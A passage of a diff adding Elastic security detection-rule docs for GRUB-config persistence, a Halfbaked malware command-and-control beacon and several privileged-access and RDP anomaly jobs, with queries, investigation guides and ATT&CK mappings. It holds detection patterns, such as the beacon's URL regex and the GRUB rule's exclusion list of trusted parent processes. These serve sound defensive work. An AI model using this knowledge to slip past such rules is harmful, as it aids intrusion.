"/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/bin/crio", "/usr/sbin/crond", + "/opt/puppetlabs/puppet/bin/ruby", "/usr/libexec/platform-python", "/kaniko/kaniko-executor", + "/usr/local/bin/dockerd", "/usr/bin/podman", "/bin/install", "/proc/self/exe", "/usr/lib/systemd/systemd", + "/usr/sbin/sshd", "/usr/bin/gitlab-runner", "/opt/gitlab/embedded/bin/ruby", "/usr/sbin/gdm", "/usr/bin/install", + "/usr/local/manageengine/uems_agent/bin/dcregister", "/usr/local/bin/pacman", "./usr/bin/podman", "/usr/bin/dnf5", + "/usr/sbin/yum-cron" + ) or + process.executable like~ ( + "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/usr/lib/virtualbox/*" + ) or + file.extension in ("swp", "swpx", "swx", "dpkg-remove") or + (process.name == "sed" and file.name : "sed*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Pre-OS Boot +** ID: T1542 +** Reference URL: https://attack.mitre.org/techniques/T1542/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Pre-OS Boot +** ID: T1542 +** Reference URL: https://attack.mitre.org/techniques/T1542/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-grub-configuration-generation-through-built-in-utilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-grub-configuration-generation-through-built-in-utilities.asciidoc new file mode 100644 index 0000000000..5375794310 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-grub-configuration-generation-through-built-in-utilities.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-20-grub-configuration-generation-through-built-in-utilities]] +=== GRUB Configuration Generation through Built-in Utilities + +This rule detects the generation of a new GRUB configuration file using built-in Linux commands. The GRUB configuration file is used to configure the GRUB bootloader, which is responsible for loading the Linux kernel and initramfs image during the boot process. Attackers may use these built-in utilities to generate a new GRUB configuration file that includes malicious kernel parameters or boot options, which can be leveraged to maintain persistence on the system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GRUB Configuration Generation through Built-in Utilities* + + +GRUB, the Grand Unified Bootloader, is crucial for loading the Linux kernel during system startup. It uses configuration files to determine boot parameters. Adversaries may exploit utilities like `grub-mkconfig` to alter these files, embedding malicious parameters for persistence. The detection rule identifies suspicious executions of these utilities, especially when initiated by atypical parent processes, signaling potential misuse. + + +*Possible investigation steps* + + +- Review the process execution details to identify the parent process of the suspicious GRUB configuration utility execution. Check if the parent process is unusual or unexpected based on the query's exclusion list. +- Examine the command-line arguments used in the execution of the GRUB configuration utility to identify any potentially malicious kernel parameters or boot options. +- Investigate the user account associated with the process execution to determine if it has the necessary privileges and if the activity aligns with the user's typical behavior. +- Check the system's recent changes or updates, especially those related to bootloader configurations, to identify any unauthorized modifications. +- Analyze system logs for any other suspicious activities or anomalies around the time of the GRUB configuration utility execution to gather additional context. + + +*False positive analysis* + + +- Routine system updates or maintenance tasks may trigger the rule when legitimate processes like package managers (e.g., pacman, dnf, yum) or system utilities (e.g., sudo) execute GRUB configuration commands. Users can mitigate this by adding these processes to the exception list in the rule configuration. +- Automated scripts or cron jobs that regularly update GRUB configurations for legitimate reasons might be flagged. To handle this, identify these scripts and add their parent process names or paths to the exclusion criteria. +- Custom administrative scripts that manage bootloader settings could also cause false positives. Review these scripts and, if verified as safe, include their parent process details in the rule's exceptions. +- Some Linux distributions may have specific utilities or services that interact with GRUB as part of their normal operation. Investigate these utilities and consider excluding them if they are confirmed to be benign and necessary for system functionality. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity or lateral movement. +- Terminate any suspicious processes related to `grub-mkconfig`, `grub2-mkconfig`, or `update-grub` that were initiated by atypical parent processes. +- Review and restore the GRUB configuration file from a known good backup to ensure no malicious parameters are present. +- Conduct a thorough examination of the system for additional signs of compromise, focusing on persistence mechanisms and unauthorized changes to boot parameters. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems are affected. +- Implement monitoring for future unauthorized executions of GRUB configuration utilities, ensuring alerts are generated for similar suspicious activities. +- Review and update access controls and permissions to restrict the execution of GRUB configuration utilities to authorized personnel only. + +==== Setup + + + +*Setup* + +This rule requires data coming in from Elastic Defend. + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.parent.executable != null and process.name in ("grub-mkconfig", "grub2-mkconfig", "update-grub") and not ( + process.parent.name in ("run-parts", "sudo", "update-grub", "pacman", "dockerd", "dnf", "rpm", "yum") or + process.parent.executable like ( + "/var/lib/dpkg/info/*", "/usr/lib/bootloader/grub2-efi/config", "/tmp/newroot/*", "/usr/lib/kernel/install.d/*", + "/run/user/*/.bubblewrap/*/timeout" + ) or + process.parent.executable in ( + "/usr/bin/timeout", "/usr/sbin/nvidia-boot-update", "/usr/lib/oci-linux-config/misc_updates.sh", + "/opt/puppetlabs/puppet/bin/puppet", "/usr/sbin/selinux-activate", "/usr/lib/skylight/stop-workspace", + "/var/lib/aws-replication-agent/install_agent", "/usr/local/CTS/bin/apply_personality", + "/opt/puppetlabs/puppet/bin/ruby" + ) or + (process.parent.name like ("python*", "platform-python*") and process.parent.command_line like "*ansible*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Pre-OS Boot +** ID: T1542 +** Reference URL: https://attack.mitre.org/techniques/T1542/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Pre-OS Boot +** ID: T1542 +** Reference URL: https://attack.mitre.org/techniques/T1542/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-halfbaked-command-and-control-beacon.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-halfbaked-command-and-control-beacon.asciidoc new file mode 100644 index 0000000000..092a9d0bec --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-halfbaked-command-and-control-beacon.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-20-halfbaked-command-and-control-beacon]] +=== Halfbaked Command and Control Beacon + +Halfbaked is a malware family used to establish persistence in a contested network. This rule detects a network activity algorithm leveraged by Halfbaked implant beacons for command and control. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html +* https://attack.mitre.org/software/S0151/ + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Command and Control +* Domain: Endpoint +* Resources: Investigation Guide + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Halfbaked Command and Control Beacon* + + +Halfbaked malware exploits common network protocols to maintain persistence and facilitate command and control (C2) operations within compromised networks. Adversaries leverage HTTP and TLS protocols to disguise malicious traffic as legitimate, often targeting specific ports like 53, 80, 8080, and 443. The detection rule identifies suspicious network patterns, such as unusual URL structures and specific transport protocols, to flag potential C2 beaconing activities. + + +*Possible investigation steps* + + +- Review the network traffic logs to identify any connections to IP addresses matching the pattern specified in the query (e.g., http://[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/cd) and determine if these IPs are known or suspicious. +- Analyze the destination ports (53, 80, 8080, 443) used in the flagged traffic to assess if they align with typical usage patterns for the affected systems or if they indicate potential misuse. +- Examine the HTTP and TLS traffic details to identify any unusual URL structures or anomalies in the network.protocol field that could suggest malicious activity. +- Correlate the detected network activity with endpoint logs to identify any associated processes or applications that may have initiated the suspicious traffic. +- Investigate any related alerts or historical data for patterns of similar activity, which could indicate a persistent threat or ongoing compromise within the network. + + +*False positive analysis* + + +- Legitimate software updates or patch management systems may use similar URL structures and ports, leading to false positives. Users can create exceptions for known update servers by whitelisting their IP addresses or domain names. +- Internal web applications or services that use non-standard ports like 8080 for HTTP traffic might trigger the rule. Identify these applications and exclude their traffic from the rule by specifying their IP addresses or domain names. +- Network monitoring tools or security appliances that perform regular scans or health checks over HTTP or TLS might mimic the detected patterns. Exclude these tools by adding their IP addresses to an exception list. +- Content delivery networks (CDNs) often use IP-based URLs for load balancing and might be mistaken for malicious activity. Verify the legitimacy of the CDN traffic and exclude it by whitelisting the associated IP ranges. +- Automated scripts or bots within the network that access external resources using IP-based URLs could trigger alerts. Review these scripts and, if deemed safe, exclude their traffic by specifying their source IP addresses. + + +*Response and remediation* + + +- Isolate the affected systems from the network immediately to prevent further communication with the command and control server. +- Conduct a thorough scan of the isolated systems using updated antivirus and anti-malware tools to identify and remove the Halfbaked malware. +- Analyze network traffic logs to identify other potentially compromised systems by looking for similar suspicious network patterns and URL structures. +- Block the identified malicious IP addresses and domains at the network perimeter to prevent further communication attempts. +- Apply security patches and updates to all systems and applications to close vulnerabilities exploited by the malware. +- Restore affected systems from clean backups, ensuring that the backups are free from any signs of compromise. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the scope of the breach. + + +*Threat intel* + + +This activity has been observed in FIN7 campaigns. + +==== Rule query + + +[source, js] +---------------------------------- +(event.dataset: (network_traffic.tls OR network_traffic.http) OR + (event.category: (network OR network_traffic) AND network.protocol: http)) AND + network.transport:tcp AND url.full:/http:\/\/[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}\/cd/ AND + destination.port:(53 OR 80 OR 8080 OR 443) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Dynamic Resolution +** ID: T1568 +** Reference URL: https://attack.mitre.org/techniques/T1568/ +* Sub-technique: +** Name: Domain Generation Algorithms +** ID: T1568.002 +** Reference URL: https://attack.mitre.org/techniques/T1568/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-command-line-entropy-detected-for-privileged-commands.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-command-line-entropy-detected-for-privileged-commands.asciidoc new file mode 100644 index 0000000000..16c3ecb1aa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-command-line-entropy-detected-for-privileged-commands.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-20-high-command-line-entropy-detected-for-privileged-commands]] +=== High Command Line Entropy Detected for Privileged Commands + +A machine learning job has identified an unusually high median command line entropy for privileged commands executed by a user, suggesting possible privileged access activity through command lines. High entropy often indicates that the commands may be obfuscated or deliberately complex, which can be a sign of suspicious or unauthorized use of privileged access. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-3h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/pad + +*Tags*: + +* Use Case: Privileged Access Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating High Command Line Entropy Detected for Privileged Commands* + + +Machine learning models analyze command line inputs to identify high entropy, which may indicate obfuscation or complexity in privileged commands. Adversaries exploit this by using intricate or encoded commands to mask unauthorized activities. The detection rule leverages this analysis to flag potential privilege escalation attempts, aiding in early threat identification and response. + + +*Possible investigation steps* + + +- Review the command line inputs flagged by the alert to identify any patterns or specific obfuscation techniques used. +- Cross-reference the user account associated with the alert against known valid accounts and recent access logs to determine if the activity aligns with expected behavior. +- Analyze the context of the commands executed, including the time of execution and the systems targeted, to assess the potential impact and scope of the activity. +- Check for any recent changes in user privileges or roles that might explain the execution of privileged commands. +- Investigate any related alerts or logs that might provide additional context or corroborate the suspicious activity, such as failed login attempts or unusual network connections. +- Consult with the user or relevant personnel to verify if the commands were part of legitimate administrative tasks or if they indicate unauthorized access. + + +*False positive analysis* + + +- Legitimate administrative scripts may have high entropy due to complex or encoded commands. Review and whitelist these scripts to prevent unnecessary alerts. +- Automated deployment tools often use obfuscated commands for security reasons. Identify and exclude these tools from the rule to reduce false positives. +- Security software updates might execute encoded commands as part of their process. Monitor and create exceptions for these updates to avoid misclassification. +- Developers and IT staff may use complex command lines for testing or debugging. Establish a baseline of normal activity for these users and adjust the rule accordingly. +- Scheduled tasks or cron jobs with encoded commands can trigger alerts. Document and exclude these tasks if they are verified as non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Review and terminate any suspicious or unauthorized processes running under privileged accounts on the affected system. +- Reset passwords for all privileged accounts involved, ensuring they meet strong password policies to prevent unauthorized access. +- Conduct a thorough audit of recent privileged command executions to identify any unauthorized changes or data access, and revert any malicious modifications. +- Implement additional monitoring on the affected system and related accounts to detect any further suspicious activities. +- Escalate the incident to the security operations center (SOC) for a comprehensive investigation and to determine if other systems are affected. +- Update and reinforce endpoint protection measures to detect and block similar obfuscation or high-entropy command line activities in the future. + +==== Setup + + + +*Setup* + + +The rule requires the Privileged Access Detection integration assets to be installed, as well as Linux logs collected by integrations such as Elastic Defend and Sysmon Linux. + + +*Privileged Access Detection Setup* + +The Privileged Access Detection integration detects privileged access activity by identifying abnormalities in Windows, Linux and Okta events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Privileged Access Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Linux events collected by https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] or https://docs.elastic.co/en/integrations/sysmon_linux[Sysmon Linux] integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To add Sysmon Linux integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. + + +*The following steps should be executed to install assets associated with the Privileged Access Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Privileged Access Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-mean-of-process-arguments-in-an-rdp-session.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-mean-of-process-arguments-in-an-rdp-session.asciidoc new file mode 100644 index 0000000000..21bbfdf5bb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-mean-of-process-arguments-in-an-rdp-session.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-20-high-mean-of-process-arguments-in-an-rdp-session]] +=== High Mean of Process Arguments in an RDP Session + +A machine learning job has detected unusually high number of process arguments in an RDP session. Executing sophisticated attacks such as lateral movement can involve the use of complex commands, obfuscation mechanisms, redirection and piping, which in turn increases the number of arguments in a command. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-12h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/lmd +* https://www.elastic.co/blog/detecting-lateral-movement-activity-a-new-kibana-integration +* https://www.elastic.co/blog/remote-desktop-protocol-connections-elastic-security + +*Tags*: + +* Use Case: Lateral Movement Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Lateral Movement +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating High Mean of Process Arguments in an RDP Session* + + +Remote Desktop Protocol (RDP) facilitates remote access to systems, often targeted by adversaries for lateral movement. Attackers may exploit RDP by executing complex commands with numerous arguments to obfuscate their actions. The detection rule leverages machine learning to identify anomalies in process arguments, flagging potential misuse indicative of sophisticated attacks. + + +*Possible investigation steps* + + +- Review the specific RDP session details, including the source and destination IP addresses, to identify any unusual or unauthorized access patterns. +- Analyze the process arguments flagged by the machine learning model to determine if they include known malicious commands or patterns indicative of obfuscation or redirection. +- Check the user account associated with the RDP session for any signs of compromise, such as recent password changes or login attempts from unusual locations. +- Correlate the alert with other security events or logs, such as firewall logs or intrusion detection system alerts, to identify any related suspicious activities or lateral movement attempts. +- Investigate the historical behavior of the involved systems and users to determine if the high number of process arguments is an anomaly or part of a regular pattern. + + +*False positive analysis* + + +- Routine administrative tasks may generate a high number of process arguments, such as batch scripts or automated maintenance operations. Users can create exceptions for known scripts or processes that are regularly executed by trusted administrators. +- Software updates or installations often involve complex commands with multiple arguments. To mitigate false positives, users should whitelist update processes from trusted vendors. +- Monitoring and management tools that perform extensive logging or diagnostics can trigger this rule. Users should identify and exclude these tools if they are verified as non-threatening. +- Custom applications or scripts developed in-house may use numerous arguments for configuration purposes. Users should document and exclude these applications if they are part of normal business operations. +- Scheduled tasks that run during off-hours might appear suspicious due to their complexity. Users can adjust the rule to ignore these tasks if they are part of a regular, approved schedule. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further lateral movement and potential data exfiltration. +- Terminate any suspicious RDP sessions and associated processes that exhibit high numbers of arguments to halt ongoing malicious activities. +- Conduct a thorough review of the affected system's event logs and process execution history to identify any unauthorized access or changes made during the RDP session. +- Reset credentials for any accounts that were accessed during the suspicious RDP session to prevent unauthorized access using compromised credentials. +- Apply security patches and updates to the affected system and any other systems within the network to mitigate vulnerabilities that could be exploited for similar attacks. +- Enhance monitoring and logging for RDP sessions across the network to detect and respond to similar anomalies more quickly in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems have been compromised. + +==== Setup + + + +*Setup* + + +This rule requires the `host.ip` field to be populated. +For **Elastic Defend** events on versions **8.18 and above**, this field is **disabled by default**. + +If you are using **Elastic Defend**, ensure host IP collection is enabled by following the configuration steps in the +https://www.elastic.co/docs/solutions/security/configure-elastic-defend/configure-data-volume-for-elastic-endpoint#host-fields[helper guide]. + +The rule requires the Lateral Movement Detection integration assets to be installed, as well as file and Windows RDP process events collected by the Elastic Defend integration. + + +*Lateral Movement Detection Setup* + +The Lateral Movement Detection integration detects lateral movement activity by identifying abnormalities in file and Windows RDP events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Lateral Movement Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Windows RDP process events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. + + +*The following steps should be executed to install assets associated with the Lateral Movement Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Lateral Movement Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-mean-of-rdp-session-duration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-mean-of-rdp-session-duration.asciidoc new file mode 100644 index 0000000000..12480ed908 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-mean-of-rdp-session-duration.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-20-high-mean-of-rdp-session-duration]] +=== High Mean of RDP Session Duration + +A machine learning job has detected unusually high mean of RDP session duration. Long RDP sessions can be used to evade detection mechanisms via session persistence, and might be used to perform tasks such as lateral movement, that might require uninterrupted access to a compromised machine. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-12h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/lmd +* https://www.elastic.co/blog/detecting-lateral-movement-activity-a-new-kibana-integration +* https://www.elastic.co/blog/remote-desktop-protocol-connections-elastic-security + +*Tags*: + +* Use Case: Lateral Movement Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Lateral Movement +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating High Mean of RDP Session Duration* + + +Remote Desktop Protocol (RDP) enables remote access to systems, facilitating administrative tasks. However, adversaries exploit prolonged RDP sessions to maintain persistent access, potentially conducting lateral movements undetected. The 'High Mean of RDP Session Duration' detection rule leverages machine learning to identify anomalies in session lengths, flagging potential misuse indicative of malicious activity. + + +*Possible investigation steps* + + +- Review the specific RDP session details, including the start and end times, to understand the duration and identify any patterns or anomalies in session lengths. +- Correlate the flagged RDP session with user activity logs to determine if the session aligns with expected user behavior or if it deviates from normal patterns. +- Check for any concurrent or subsequent suspicious activities, such as file transfers or command executions, that might indicate lateral movement or data exfiltration. +- Investigate the source and destination IP addresses involved in the RDP session to identify if they are known, trusted, or associated with any previous security incidents. +- Analyze the user account involved in the RDP session for any signs of compromise, such as recent password changes, failed login attempts, or unusual access patterns. +- Review any recent changes in the network or system configurations that might have affected RDP session durations or security settings. + + +*False positive analysis* + + +- Extended RDP sessions for legitimate administrative tasks can trigger false positives. To manage this, identify and whitelist IP addresses or user accounts associated with routine administrative activities. +- Scheduled maintenance or software updates often require prolonged RDP sessions. Exclude these activities by setting time-based exceptions during known maintenance windows. +- Remote support sessions from trusted third-party vendors may appear as anomalies. Create exceptions for these vendors by verifying their IP addresses and adding them to an allowlist. +- Training sessions or demonstrations using RDP can result in longer session durations. Document and exclude these events by correlating them with scheduled training times and user accounts involved. +- Automated scripts or processes that maintain RDP sessions for monitoring purposes can be mistaken for threats. Identify these scripts and exclude their associated user accounts or machine names from the detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious or unauthorized RDP sessions to cut off potential adversary access. +- Conduct a thorough review of user accounts and permissions on the affected system to identify and disable any compromised accounts. +- Apply security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Restore the system from a known good backup if any unauthorized changes or malware are detected. +- Monitor network traffic and logs for any signs of further exploitation attempts or related suspicious activity. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation. + +==== Setup + + + +*Setup* + + +This rule requires the `host.ip` field to be populated. +For **Elastic Defend** events on versions **8.18 and above**, this field is **disabled by default**. + +If you are using **Elastic Defend**, ensure host IP collection is enabled by following the configuration steps in the +https://www.elastic.co/docs/solutions/security/configure-elastic-defend/configure-data-volume-for-elastic-endpoint#host-fields[helper guide]. + +The rule requires the Lateral Movement Detection integration assets to be installed, as well as file and Windows RDP process events collected by the Elastic Defend integration. + + +*Lateral Movement Detection Setup* + +The Lateral Movement Detection integration detects lateral movement activity by identifying abnormalities in file and Windows RDP events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Lateral Movement Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Windows RDP process events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. + + +*The following steps should be executed to 